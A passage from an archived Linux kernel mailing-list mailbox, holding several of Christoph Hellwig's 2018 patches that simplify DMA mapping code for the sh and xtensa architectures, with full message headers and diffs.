+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	struct page *page;
 
@@ -218,7 +220,6 @@ void consistent_free(size_t size, void *vaddr)
 	flush_tlb_all();
 #endif
 }
-EXPORT_SYMBOL(consistent_free);
 
 /*
  * make an area consistent.
-- 
2.17.0



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 16/22] sh: simplify get_arch_dma_ops
Date: Fri, 20 Apr 2018 10:03:07 +0200
Lines: 91
Approved: news@gmane.org
Message-ID: <20180420080313.18796-17-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211370 18920 195.159.176.226 (20 Apr 2018 08:02:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:02:50 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:02:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R0F-0004Xh-Gw
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:02:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754332AbeDTIEu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:04:50 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40614 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754277AbeDTIEq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=aRSaiFbfkDN2P8FpPK1+g0zgH09rNBpip3xqDpzOkYg=; b=EqJzqsQds7onihtHbGOczl8G/
        ntWDbBem4C84QDGlfoo57aGF9tKPOJNc7npCXCtvy1K0M7whD3vagZf9R4XZnfTPfyWpFeCY4DU46
        1+53Rc7f4lq/SPLqeIZb9mK/oQW+lS2I2NWxZdmmRnteJS0358JL1/4dodd+ZI+90e6ITRmssA98K
        aZiU6qVSfcb0p9lnTBa/A6QD2wMB8irQmgRXDN+Pz0VvIY554K3iqtl6FMpsavBEVPJOEaKK5CpNC
        69NkCB0/v8U2CHtKey8BsLQITlVaw60LDM1lahhBFGVFB0tNZbN06Q99biPG+m24mon/MEKFjs9Uf
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1g-0007iF-BB; Fri, 20 Apr 2018 08:04:13 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746070 gmane.linux.kernel.cross-arch:43562 gmane.linux.ports.alpha:4961 gmane.linux.kernel.arc:3804 gmane.linux.ports.arm.kernel:644794 gmane.linux.ports.hexagon:1647 gmane.linux.ports.parisc:28519 gmane.linux.ports.sh.devel:56870 gmane.linux.ports.sparc:27687
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746070>

Remove the indirection through the dma_ops variable, and just return
nommu_dma_ops directly from get_arch_dma_ops.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/include/asm/dma-mapping.h |  5 ++---
 arch/sh/kernel/dma-nommu.c        |  8 +-------
 arch/sh/mm/consistent.c           |  3 ---
 arch/sh/mm/init.c                 | 10 ----------
 4 files changed, 3 insertions(+), 23 deletions(-)

diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index 41167931e5d9..149e71f95be7 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -2,12 +2,11 @@
 #ifndef __ASM_SH_DMA_MAPPING_H
 #define __ASM_SH_DMA_MAPPING_H
 
-extern const struct dma_map_ops *dma_ops;
-extern void no_iommu_init(void);
+extern const struct dma_map_ops nommu_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return dma_ops;
+	return &nommu_dma_ops;
 }
 
 extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 2077cfe73cc6..c0fff676e2e4 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -76,10 +76,4 @@ const struct dma_map_ops nommu_dma_ops = {
 	.sync_sg_for_device	= nommu_sync_sg_for_device,
 #endif
 };
-
-void __init no_iommu_init(void)
-{
-	if (dma_ops)
-		return;
-	dma_ops = &nommu_dma_ops;
-}
+EXPORT_SYMBOL(nommu_dma_ops);
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index a7bff3f29c2b..af2f28572119 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -20,9 +20,6 @@
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-const struct dma_map_ops *dma_ops;
-EXPORT_SYMBOL(dma_ops);
-
 void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 				 dma_addr_t *dma_handle, gfp_t gfp,
 				 unsigned long attrs)
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index ce0bbaa7e404..32e09f03e6bf 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -395,22 +395,12 @@ void __init paging_init(void)
 	free_area_init_nodes(max_zone_pfns);
 }
 
-/*
- * Early initialization for any I/O MMUs we might have.
- */
-static void __init iommu_init(void)
-{
-	no_iommu_init();
-}
-
 unsigned int mem_init_done = 0;
 
 void __init mem_init(void)
 {
 	pg_data_t *pgdat;
 
-	iommu_init();
-
 	high_memory = NULL;
 	for_each_online_pgdat(pgdat)
 		high_memory = max_t(void *, high_memory,
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 18/22] sh: use dma_direct_ops for the CONFIG_DMA_COHERENT case
Date: Fri, 20 Apr 2018 10:03:09 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <20180420080313.18796-19-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211373 19145 195.159.176.226 (20 Apr 2018 08:02:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:02:53 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:02:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R0J-0004sN-PI
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:02:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754358AbeDTIEz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:04:55 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40638 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754078AbeDTIEr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:47 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=2gN12JbbJmvniAHRYRrZVRCOJSQNCwIoEqrVIlJwiv4=; b=DYBlj48GpMpb8u2aHq4mptRgD
        5sfUiJdCxOCUQhH9sIWQ6TE7cI1qqoOVy+nsXY4YeS3GJcVoOZoH1635VfNJ4+k5pJnZNBc1tMFD5
        ypUxaTIJXBPLU6zFkLuaRtFzmJLhHDaL+gek/lQYDo+465HYdzEXpaRRlHMbptG0hrbIciikoP0mZ
        Avdpdd42h586kqbmRDssKvQwyb8sC5s1wA1r93Rvl5pnBlG0Jo8TkRcOIdIZlGk4RL2ZuBdZ1Us26
        e+8V0G0RzWo8qM1vEfjs5TwUjNGYaooO9YT4wHmMPtV+WdrHs9cEhLyKRhzGUPcOsaTntQcyUjhqW
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1n-0007mJ-GP; Fri, 20 Apr 2018 08:04:19 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746071 gmane.linux.kernel.cross-arch:43563 gmane.linux.ports.alpha:4962 gmane.linux.kernel.arc:3805 gmane.linux.ports.arm.kernel:644795 gmane.linux.ports.hexagon:1648 gmane.linux.ports.parisc:28520 gmane.linux.ports.sh.devel:56871 gmane.linux.ports.sparc:27688
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746071>

This is a slight change in behavior as we avoid the detour through the
virtual mapping for the coherent allocator, but if this CPU really is
coherent that should be the right thing to do.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/Kconfig                   | 1 +
 arch/sh/include/asm/dma-mapping.h | 4 ++++
 arch/sh/kernel/Makefile           | 4 ++--
 arch/sh/kernel/dma-nommu.c        | 4 ----
 4 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 9417f70e008e..23e7432302b0 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -158,6 +158,7 @@ config SWAP_IO_SPACE
 	bool
 
 config DMA_COHERENT
+	select DMA_DIRECT_OPS
 	bool
 
 config DMA_NONCOHERENT
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index 149e71f95be7..1ebc6a4eb1c5 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -6,7 +6,11 @@ extern const struct dma_map_ops nommu_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
+#ifdef CONFIG_DMA_NONCOHERENT
 	return &nommu_dma_ops;
+#else
+	return &dma_direct_ops;
+#endif
 }
 
 extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index dc80041f7363..cb5f1bfb52de 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -12,7 +12,7 @@ endif
 
 CFLAGS_REMOVE_return_address.o = -pg
 
-obj-y	:= debugtraps.o dma-nommu.o dumpstack.o 		\
+obj-y	:= debugtraps.o dumpstack.o 		\
 	   idle.o io.o irq.o irq_$(BITS).o kdebugfs.o			\
 	   machvec.o nmi_debug.o process.o				\
 	   process_$(BITS).o ptrace.o ptrace_$(BITS).o			\
@@ -45,7 +45,7 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-
+obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index c0fff676e2e4..442922a9f8c0 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -48,7 +48,6 @@ static int nommu_map_sg(struct device *dev, struct scatterlist *sg,
 	return nents;
 }
 
-#ifdef CONFIG_DMA_NONCOHERENT
 static void nommu_sync_single_for_device(struct device *dev, dma_addr_t addr,
 			      size_t size, enum dma_data_direction dir)
 {
@@ -64,16 +63,13 @@ static void nommu_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 	for_each_sg(sg, s, nelems, i)
 		sh_sync_dma_for_device(sg_virt(s), s->length, dir);
 }
-#endif
 
 const struct dma_map_ops nommu_dma_ops = {
 	.alloc			= dma_generic_alloc_coherent,
 	.free			= dma_generic_free_coherent,
 	.map_page		= nommu_map_page,
 	.map_sg			= nommu_map_sg,
-#ifdef CONFIG_DMA_NONCOHERENT
 	.sync_single_for_device	= nommu_sync_single_for_device,
 	.sync_sg_for_device	= nommu_sync_sg_for_device,
-#endif
 };
 EXPORT_SYMBOL(nommu_dma_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 20/22] xtensa: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:11 +0200
Lines: 278
Approved: news@gmane.org
Message-ID: <20180420080313.18796-21-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211382 19795 195.159.176.226 (20 Apr 2018 08:03:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:03:02 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:02:57 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R0S-00051i-T8
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:02:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754378AbeDTIFC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:05:02 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40820 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754350AbeDTIEz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:55 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=DTpZvMoJfCUh1hLPuxbHqvUHkQc85dM2JU0MgkqYtes=; b=h4MSXTBC5K1vKsVT0S8cEWOAe
        cOKFgJ297tYWk3MoMPamubmeDKUrJN2ssQznkLeCRQ8DH5ql32t18IAffvx7QX0DzEwCMhGl8OHBM
        vCdhr05KzZAMWVKGoxUJrNcrDiWs4/SCZZxItfw/yS5i7MAc41/C+jSpVjDS5iMs7OhBeyL1JL4j7
        TMQC3zABiaXNvs3AXlxKUjSfeFmVyBVECqPFoM/80JNmQVEvspPKc7PsZTKT6FThu8Orv2eQ/n5/P
        PCxO67z7RiGB8Tcpk4QkV+v3nkg4lg4FRpJWuJa5WrJNfXW6M/x2zHQXNDQr76zJReSSeX6GMKiWb
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1u-0007or-UY; Fri, 20 Apr 2018 08:04:27 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746072 gmane.linux.kernel.cross-arch:43564 gmane.linux.ports.alpha:4963 gmane.linux.kernel.arc:3806 gmane.linux.ports.arm.kernel:644796 gmane.linux.ports.hexagon:1649 gmane.linux.ports.parisc:28521 gmane.linux.ports.sh.devel:56872 gmane.linux.ports.sparc:27689
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746072>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/xtensa/Kconfig                   |   3 +
 arch/xtensa/include/asm/Kbuild        |   1 +
 arch/xtensa/include/asm/dma-mapping.h |  26 ------
 arch/xtensa/kernel/pci-dma.c          | 130 +++-----------------------
 4 files changed, 19 insertions(+), 141 deletions(-)
 delete mode 100644 arch/xtensa/include/asm/dma-mapping.h

diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index c921e8bccdc8..6035845f30a7 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -5,11 +5,14 @@ config ZONE_DMA
 config XTENSA
 	def_bool y
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select BUILDTIME_EXTABLE_SORT
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_IRQ_SHOW
diff --git a/arch/xtensa/include/asm/Kbuild b/arch/xtensa/include/asm/Kbuild
index 436b20337168..a8d6cd3bee4b 100644
--- a/arch/xtensa/include/asm/Kbuild
+++ b/arch/xtensa/include/asm/Kbuild
@@ -2,6 +2,7 @@ generic-y += bug.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
deleted file mode 100644
index 44098800dad7..000000000000
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- *
- * Copyright (C) 2003 - 2005 Tensilica Inc.
- * Copyright (C) 2015 Cadence Design Systems Inc.
- */
-
-#ifndef _XTENSA_DMA_MAPPING_H
-#define _XTENSA_DMA_MAPPING_H
-
-#include <asm/cache.h>
-#include <asm/io.h>
-
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-
-extern const struct dma_map_ops xtensa_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &xtensa_dma_map_ops;
-}
-
-#endif	/* _XTENSA_DMA_MAPPING_H */
diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
index 392b4a80ebc2..a83d60e92908 100644
--- a/arch/xtensa/kernel/pci-dma.c
+++ b/arch/xtensa/kernel/pci-dma.c
@@ -16,26 +16,24 @@
  */
 
 #include <linux/dma-contiguous.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/dma-direct.h>
 #include <linux/gfp.h>
 #include <linux/highmem.h>
 #include <linux/mm.h>
-#include <linux/module.h>
-#include <linux/pci.h>
-#include <linux/string.h>
 #include <linux/types.h>
 #include <asm/cacheflush.h>
 #include <asm/io.h>
 
-static void do_cache_op(dma_addr_t dma_handle, size_t size,
+static void do_cache_op(phys_addr_t paddr, size_t size,
 			void (*fn)(unsigned long, unsigned long))
 {
-	unsigned long off = dma_handle & (PAGE_SIZE - 1);
-	unsigned long pfn = PFN_DOWN(dma_handle);
+	unsigned long off = paddr & (PAGE_SIZE - 1);
+	unsigned long pfn = PFN_DOWN(paddr);
 	struct page *page = pfn_to_page(pfn);
 
 	if (!PageHighMem(page))
-		fn((unsigned long)bus_to_virt(dma_handle), size);
+		fn((unsigned long)phys_to_virt(paddr), size);
 	else
 		while (size > 0) {
 			size_t sz = min_t(size_t, size, PAGE_SIZE - off);
@@ -49,14 +47,13 @@ static void do_cache_op(dma_addr_t dma_handle, size_t size,
 		}
 }
 
-static void xtensa_sync_single_for_cpu(struct device *dev,
-				       dma_addr_t dma_handle, size_t size,
-				       enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_FROM_DEVICE:
-		do_cache_op(dma_handle, size, __invalidate_dcache_range);
+		do_cache_op(paddr, size, __invalidate_dcache_range);
 		break;
 
 	case DMA_NONE:
@@ -68,15 +65,14 @@ static void xtensa_sync_single_for_cpu(struct device *dev,
 	}
 }
 
-static void xtensa_sync_single_for_device(struct device *dev,
-					  dma_addr_t dma_handle, size_t size,
-					  enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_TO_DEVICE:
 		if (XCHAL_DCACHE_IS_WRITEBACK)
-			do_cache_op(dma_handle, size, __flush_dcache_range);
+			do_cache_op(paddr, size, __flush_dcache_range);
 		break;
 
 	case DMA_NONE:
@@ -88,40 +84,13 @@ static void xtensa_sync_single_for_device(struct device *dev,
 	}
 }
 
-static void xtensa_sync_sg_for_cpu(struct device *dev,
-				   struct scatterlist *sg, int nents,
-				   enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_sync_single_for_cpu(dev, sg_dma_address(s),
-					   sg_dma_len(s), dir);
-	}
-}
-
-static void xtensa_sync_sg_for_device(struct device *dev,
-				      struct scatterlist *sg, int nents,
-				      enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_sync_single_for_device(dev, sg_dma_address(s),
-					      sg_dma_len(s), dir);
-	}
-}
-
 /*
  * Note: We assume that the full memory space is always mapped to 'kseg'
  *	 Otherwise we have to use page attributes (not implemented).
  */
 
-static void *xtensa_dma_alloc(struct device *dev, size_t size,
-			      dma_addr_t *handle, gfp_t flag,
-			      unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t flag, unsigned long attrs)
 {
 	unsigned long ret;
 	unsigned long uncached;
@@ -171,8 +140,8 @@ static void *xtensa_dma_alloc(struct device *dev, size_t size,
 	return (void *)uncached;
 }
 
-static void xtensa_dma_free(struct device *dev, size_t size, void *vaddr,
-			    dma_addr_t dma_handle, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	unsigned long addr = (unsigned long)vaddr;
@@ -192,72 +161,3 @@ static void xtensa_dma_free(struct device *dev, size_t size, void *vaddr,
 	if (!dma_release_from_contiguous(dev, page, count))
 		__free_pages(page, get_order(size));
 }
-
-static dma_addr_t xtensa_map_page(struct device *dev, struct page *page,
-				  unsigned long offset, size_t size,
-				  enum dma_data_direction dir,
-				  unsigned long attrs)
-{
-	dma_addr_t dma_handle = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		xtensa_sync_single_for_device(dev, dma_handle, size, dir);
-
-	return dma_handle;
-}
-
-static void xtensa_unmap_page(struct device *dev, dma_addr_t dma_handle,
-			      size_t size, enum dma_data_direction dir,
-			      unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		xtensa_sync_single_for_cpu(dev, dma_handle, size, dir);
-}
-
-static int xtensa_map_sg(struct device *dev, struct scatterlist *sg,
-			 int nents, enum dma_data_direction dir,
-			 unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = xtensa_map_page(dev, sg_page(s), s->offset,
-						 s->length, dir, attrs);
-	}
